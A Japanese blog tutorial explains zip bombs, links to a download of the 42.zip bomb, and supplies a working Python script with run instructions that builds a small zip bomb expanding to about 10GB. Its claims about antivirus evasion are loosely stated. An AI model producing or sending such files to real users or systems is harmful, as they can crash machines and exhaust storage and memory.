初めに
皆さんはZip爆弾というものを知っていますか。
最近(?)Zip爆弾という言葉をセキュリティ関係の話でよく聞くようになりました。
今回の記事では、そんなZip爆弾がどのようなものなのか、そしてZip爆弾の簡単な作り方について解説していきたいと思います‼
Zip爆弾とは?
Zip爆弾というのは、そのZipファイルを開くと、めちゃくちゃ重たいファイルが出てきて、開いたデバイスの容量を全て使い切るというものです。
一見何もないようなZipファイルだからこそ、ウイルスソフトはそれに反応できず、開いた際にRAMメモリーを食い尽くして、ウイルスバスターを足止めするため、その間にウイルスが感染したり、あるいはZipファイルの展開によってPCが固まって使えなくなったりします。
どういう仕組みになっているかというと、下の図のような感じで、Zipファイルの中にZipが入っていてその中にもZipが入っていて…みたいな感じで、ひたすら圧縮してZipにしてそれをさらに圧縮して…といった風に作られています。
で、実際にZip爆弾といわれている悪魔の「42.zip」というファイルを開いてみたので、ぜひ見てください‼
悪魔のZip爆弾「42.zip」を開いてみた
実際にZip爆弾を開くとどんな構成になっているのか見てみましょう‼
悪魔の42.zipと表記してますが、一番有名なのは、「45.1.zip」と呼ばれるものです。興味のある方はぜひ調べてみてください。
↓悪魔の42.zipをダウンロードしてみたい方はこちら!(扱いにはくれぐれも気を付けてください。)
↓私のYoutubeチャンネルです。チャンネル登録も忘れずに‼
いかがでしたか。
このZipファイルを展開するだけで、ざっと4.5PB(450万GB)もの容量を必要になります。
恐ろしいですね。
では、今からそんなZip爆弾の簡易版みたいな感じのものを作ってみようと思います‼
Zip爆弾のプログラム作成
実際にZip爆弾を作るプログラムを作っていきたいと思います。(表現ややこしくてすみません。)
Pythonをインストール
まず、プログラムを作る上で、言語はPythonなので、Pythonをインストールします。
多少抵抗はあるかもしれませんが、初心者でも簡単にインストールできて、コードはコピペするだけなので、安心してください。
↓Pythonのインストール方法はこちら!
これで、Pythonのインストールは完了です。
プログラムを書いてみよう!
プログラムを実際に作っていきましょう!
まず、メモ帳を開いてください。
そして、下のコードをメモ帳にコピペしてください。
import os
from tempfile import mkstemp
from zipfile import ZIP_LZMA, ZipFile
def create(size):
handle, path = mkstemp(suffix=".txt", prefix="zip-txt-")
os.close(handle)
with open(path, "w") as fp:
fp.write("0" * size)
return path
def zipbomb(size, file_num):
path = create(size)
with ZipFile("zipbomb.zip", "w", ZIP_LZMA) as myzip:
for i in range(file_num):
myzip.write(path, f"{i}.txt")
os.remove(path)
if __name__ == "__main__":
#ファイルのサイズを指定。10^9=1GBを10個作成
zipbomb(10 ** 9, 10)
↓こんな感じ。
そして、「ctrl+s」を押して、下のように「zip爆弾.py」と保存してください。
これで、プログラムの作成は完了です。
次は実際にプログラムを実行してZip爆弾を作っていきましょう‼
プログラムを実行してZip爆弾を作ろう‼
では、実際に先ほど作ったファイルを実行して簡易的なZip爆弾を作成していきましょう‼
まず、先ほどのPythonファイル(「zip爆弾.py」)が入っていたディレクトリに行ってください。
そして、アドレスバーのところにcmdと入力して、Enterを押します。
そしたら、こんな感じでコマンドプロンプトが開かれると思います。
そして、コマンドプロンプトに「python zip爆弾.py」と入力してEnterを押します。
処理が終わるのを待ちます。結構時間がかかると思います。
そしてもう一度先ほどのディレクトリに行くと、「zipbomb.zip」というファイルが作成されていると思います。
そのファイルを右クリックして、プロパティをクリックすると、ファイルの重さを確認できるので、見てみましょう‼
上のようにファイルの重さを見てみると、「1.34MB」と書いてあります。
そして、このファイルを展開してみましょう。多分展開はできないので、ファイルをダブルクリックします。
ファイルのサイズのところを見ていただければわかりますが、元のテキストファイルの重さを見ると、「976563KB(約1GB)」と書いてあります。
こんな感じに、たった「1.34MB」のZipファイルが、開くと「10GB(1GBのファイルが10個あるので。)」となります。
こんな感じで、簡易的なZipファイルを作成することができました‼
ちなみに、この記事の冒頭でも紹介しましたが、42zipのように、このZipファイルをもっと集めてフォルダーに入れてそれをまた圧縮してZipファイルにして…としていけば、もっと圧縮されたZipファイルを作成することができます‼
終わりに
いかがでしたか。
Zip爆弾はとてもすごいですが、決して悪用しないでください。
エラーが出たり、不明な点等ございましたら気軽にコメント欄で聞いてください。(多少の力添えにはなると思います。)
また、Zip爆弾は単純なテキストファイルなら有効ですが、複雑なmp4ファイルとかだとそこまで圧縮できません。
ほかにも面白い記事たくさんありますので、ほかの記事も一緒に見ていただければ幸いです。
それでは次の記事で‼
プロフィール
このブログの情報が少しでも役に立てれば嬉しいです。